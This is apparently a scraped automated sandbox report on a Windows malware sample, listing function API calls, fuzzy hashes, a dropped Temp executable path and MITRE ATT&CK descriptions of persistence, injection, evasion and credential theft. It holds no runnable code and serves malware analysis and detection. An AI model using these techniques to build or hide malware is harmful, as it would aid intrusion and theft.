Part of subcall function 00416601: HeapFree.KERNEL32(00000000,00000000,?,0041C89A,00000000,00000000,00000000,E8004310,?,0041C8C1,00000000,00000007,00000000,?,0041CCC3,00000000), ref: 00416617
Part of subcall function 00416601: GetLastError.KERNEL32(00000000,?,0041C89A,00000000,00000000,00000000,E8004310,?,0041C8C1,00000000,00000007,00000000,?,0041CCC3,00000000,00000000), ref: 00416629

_free.LIBCMT ref: 0041C831
_free.LIBCMT ref: 0041C843
_free.LIBCMT ref: 0041C855
_free.LIBCMT ref: 0041C867

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9890a6e328770d2d487a97ef7e26fd8b2bc4a8d76f969ffdf16fda3815973fb1
Instruction ID: b5e720d29d004bd2e01f4418257483c3524fdb12780781c823b448491ab4452d
Opcode Fuzzy Hash: 9890a6e328770d2d487a97ef7e26fd8b2bc4a8d76f969ffdf16fda3815973fb1
Instruction Fuzzy Hash: F3F0FF32554210E78624FB99E9C5C96B3DDAA04715755182FF049D7611CB39FCC08AEC

Uniqueness

Uniqueness Score: -1.00%

Function 0041AED3, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041B06D

Strings

*?, xrefs: 0041AF16

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 10ee6aa193b2a22c55cd56db50331241d1d9d032937cd9aa904c4765aaf002ea
Instruction ID: 4ffa33ded46cd296a401573387ca96fd095d181656e3ac683cd04d08089812ad
Opcode Fuzzy Hash: 10ee6aa193b2a22c55cd56db50331241d1d9d032937cd9aa904c4765aaf002ea
Instruction Fuzzy Hash: 806131B5E002199FDB14CFA9C8815EEFBF5EF48314B25416AE815F7300D7759E818B94

Uniqueness

Uniqueness Score: -1.00%

Function 00403EC0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 00403EF1
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00000002,80000001), ref: 00403F10
RegSetValueExA.ADVAPI32(80000001,?,00000000,00000001,?,?), ref: 00403F3E

Strings

w@, xrefs: 00403EC0

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: CreateOpenValue
String ID: w@
API String ID: 2195001959-4069734973
Opcode ID: e7e7191d64246fe52d094b27b2bff4085da817849b61457974ea89d5b4168dea
Instruction ID: 5caf11502c9af04d8941fdd4e89bb11826fe9fe2b1a184a263c0211251d4882b
Opcode Fuzzy Hash: e7e7191d64246fe52d094b27b2bff4085da817849b61457974ea89d5b4168dea
Instruction Fuzzy Hash: 2041D570210109AFEB18CF28CD85BDD7B76EB45305F608229FD05A62D5D779DAC48B98

Uniqueness

Uniqueness Score: -1.00%

Function 0042166E, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0042173E
_free.LIBCMT ref: 00421767
SetEndOfFile.KERNEL32(00000000,0041DB46,00000000,0041649E,?,?,?,?,?,?,?,0041DB46,0041649E,00000000), ref: 00421799
GetLastError.KERNEL32(?,?,?,?,?,?,?,0041DB46,0041649E,00000000,?,?,?,?,00000000), ref: 004217B5

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 5e37f3d60ba90004dc4bc0812730d4173f7cc4d8c4870cb2a8ffcd93afb02e42
Instruction ID: 80fe763155066d25bc738927a31a90460181cdf22703c0b18c745a4a2f417d93
Opcode Fuzzy Hash: 5e37f3d60ba90004dc4bc0812730d4173f7cc4d8c4870cb2a8ffcd93afb02e42
Instruction Fuzzy Hash: 2C41E7327006109BDB116FA9DC42ADE37A5AFD4324F64015BF414A72B1DA3CC9418769

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE04, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00412687: _free.LIBCMT ref: 00412695

Part of subcall function 0041BDDB: WideCharToMultiByte.KERNEL32(00403D80,00000000,0042E0B8,00000000,00403D80,00403D80,00418DE7,?,0042E0B8,?,00000000,?,00418B56,0000FDE9,00000000,?), ref: 0041BE7D

GetLastError.KERNEL32 ref: 0041AE6C
__dosmaperr.LIBCMT ref: 0041AE73
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041AEB2
__dosmaperr.LIBCMT ref: 0041AEB9

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: dd0f3b0d95796c507fb194bfffc6583f27d961aa4136d346fbb9a92158343b6e
Instruction ID: d5f1c445b52c9297a7152783a309135c38ee1275822a5b0ae2c1d34220fc2f4b
Opcode Fuzzy Hash: dd0f3b0d95796c507fb194bfffc6583f27d961aa4136d346fbb9a92158343b6e
Instruction Fuzzy Hash: 5021B6716413096F9B216F668C818EB77ADEF00369710451BF924D7240D738EDA187AA

Uniqueness

Uniqueness Score: -1.00%

Function 00416EF2, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00403D80,00403D80,F98B5000,0041889D,?,00403D80,0042E0B8,?,00418D5C,00403D80,76D26490,00403D80,00403D80,00403D80,76D26490,0040E3F3), ref: 00416EF7
_free.LIBCMT ref: 00416F54
_free.LIBCMT ref: 00416F8A
SetLastError.KERNEL32(00000000,00000008,000000FF,?,00418D5C,00403D80,76D26490,00403D80,00403D80,00403D80,76D26490,0040E3F3,?,004124C5,0040E3F3,0042E0B8), ref: 00416F95

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 49f13239afb00b988401a24cf87b8866dc672e27284b1ced70f438b2f363b69e
Instruction ID: 0472474c4cb18511cf639f6e2006cacba2ff6693ea478f65ea0a6c2b79e989ad
Opcode Fuzzy Hash: 49f13239afb00b988401a24cf87b8866dc672e27284b1ced70f438b2f363b69e
Instruction Fuzzy Hash: 3311A7322481016AD71127757CC5AEB266A8BC0769767423FF628822E1EE2DCCD7561D

Uniqueness

Uniqueness Score: -1.00%

Function 00417049, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0040E3EC,0040E3EC,E8004310,0041320C,00416B2D,?,?,0040FD13,0040E3EC,?,0040EC38,E8004311,76D26490), ref: 0041704E
_free.LIBCMT ref: 004170AB
_free.LIBCMT ref: 004170E1
SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,0040FD13,0040E3EC,?,0040EC38,E8004311,76D26490), ref: 004170EC

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: b80798f0678343afd13b94c7f30253be0a2d4f2bcd984fe0347e9e6e53c2b8cb
Instruction ID: 602c94f41faeec266911e98351360e536512a396ebf154ad71f51f9ede5ecbfd
Opcode Fuzzy Hash: b80798f0678343afd13b94c7f30253be0a2d4f2bcd984fe0347e9e6e53c2b8cb
Instruction Fuzzy Hash: 0811E93134C7016AD7112775ACC1EEB2A7A8BC8379762433BF628822D1EE298CD6561D

Uniqueness

Uniqueness Score: -1.00%

Function 0041773C, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,004178A1,00000000,?,0041E208,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 00417752
GetLastError.KERNEL32(?,0041E208,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,004178A1,00000000,00000104,?), ref: 0041775C
__dosmaperr.LIBCMT ref: 00417763

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 18256f62807b010bd1c952f313ce09cea670f451af4510de2b5d9a852c86645b
Instruction ID: d310f4c861fde6e33b7d2ec2a6979ec69c74d72fe9a819ac1ea39020a7938a2a
Opcode Fuzzy Hash: 18256f62807b010bd1c952f313ce09cea670f451af4510de2b5d9a852c86645b
Instruction Fuzzy Hash: AEF01232209115BB8B201FB6DC08D9BBF79FF453A17004526F529C6651DB35F8A2D7D4

Uniqueness

Uniqueness Score: -1.00%

Function 004177A5, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,004178A1,00000000,?,0041E193,00000000,00000000,004178A1,?,?,00000000,00000000,00000001), ref: 004177BB
GetLastError.KERNEL32(?,0041E193,00000000,00000000,004178A1,?,?,00000000,00000000,00000001,00000000,00000000,?,004178A1,00000000,00000104), ref: 004177C5
__dosmaperr.LIBCMT ref: 004177CC

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: bc7aac635adf5174af9669a5f585797b230512a42d3c46fbc9cd0da11d30476b
Instruction ID: 7e40a06978a759b8191a295d3124cb90d66c456e90e2ee65387afcc0bcf2beb1
Opcode Fuzzy Hash: bc7aac635adf5174af9669a5f585797b230512a42d3c46fbc9cd0da11d30476b
Instruction Fuzzy Hash: 6BF06231204115BB8B212FB6DC08C97BF79FF453607108526F529C6620CB35E8A1D7E4

Uniqueness

Uniqueness Score: -1.00%

Function 00421B95, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00403D80,76D26490,0042E0B8,00000000,00403D80,?,0041EFD2,00403D80,00000001,00403D80,00403D80,?,0041882C,00000000,?,00403D80), ref: 00421BAC
GetLastError.KERNEL32(?,0041EFD2,00403D80,00000001,00403D80,00403D80,?,0041882C,00000000,?,00403D80,00000000,00403D80,?,00418D80,00403D80), ref: 00421BB8

Part of subcall function 00421B7E: CloseHandle.KERNEL32(FFFFFFFE,00421BC8,?,0041EFD2,00403D80,00000001,00403D80,00403D80,?,0041882C,00000000,?,00403D80,00000000,00403D80), ref: 00421B8E

___initconout.LIBCMT ref: 00421BC8

Part of subcall function 00421B40: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00421B6F,0041EFBF,00403D80,?,0041882C,00000000,?,00403D80,00000000), ref: 00421B53

WriteConsoleW.KERNEL32(00403D80,76D26490,0042E0B8,00000000,?,0041EFD2,00403D80,00000001,00403D80,00403D80,?,0041882C,00000000,?,00403D80,00000000), ref: 00421BDD

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 84c3088fa30d72e096a5c50f6d0c6a96ef9fbb6349433aca8dd31943ec956f96
Instruction ID: 7508bf37c0b866eb48b8223dddbefd80bf7eec2c8aa76b175be5957b4052d3e7
Opcode Fuzzy Hash: 84c3088fa30d72e096a5c50f6d0c6a96ef9fbb6349433aca8dd31943ec956f96
Instruction Fuzzy Hash: 3BF01C36204125BBCF221FE2EC14E8A3F26FF587A0F814065FB1889131D6329820DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041583C, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00415845

Part of subcall function 00416601: HeapFree.KERNEL32(00000000,00000000,?,0041C89A,00000000,00000000,00000000,E8004310,?,0041C8C1,00000000,00000007,00000000,?,0041CCC3,00000000), ref: 00416617
Part of subcall function 00416601: GetLastError.KERNEL32(00000000,?,0041C89A,00000000,00000000,00000000,E8004310,?,0041C8C1,00000000,00000007,00000000,?,0041CCC3,00000000,00000000), ref: 00416629

_free.LIBCMT ref: 00415858
_free.LIBCMT ref: 00415869
_free.LIBCMT ref: 0041587A

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f77b1edf2f146029598b022106a51b758e869ce2ae8a8939e6b36c6bfe3d8da7
Instruction ID: bac838c32c678229fa3b4a483e54889a55cc49d4a7793ec83d9a9c3f6b142d6f
Opcode Fuzzy Hash: f77b1edf2f146029598b022106a51b758e869ce2ae8a8939e6b36c6bfe3d8da7
Instruction Fuzzy Hash: 57E0EC79824160DA8B067F66BC85489BFF2F74AB15302683BF45052231CB3B55A69F8D

Uniqueness

Uniqueness Score: -1.00%

Function 00414EAB, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe, xrefs: 00414EEE, 00414EF5, 00414F2B

Memory Dump Source

Source File: 00000021.00000002.508034507.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000021.00000002.508851870.0000000000433000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe
API String ID: 0-1019081748
Opcode ID: dbf4133003f6798f14a9742b0dc153d90624e20bb6cb4096486228c3d4d93f74
Instruction ID: 7b11db002fd7e9e53be5450ed18239a6e5ba10cc8c9f17be66461777073e512c
Opcode Fuzzy Hash: dbf4133003f6798f14a9742b0dc153d90624e20bb6cb4096486228c3d4d93f74
Instruction Fuzzy Hash: 37417071A00219ABDB15EF9ADC81DEEBBF8EBC5310F14006BF404E7351D7799A828798

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report b7cwlpwH6S.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre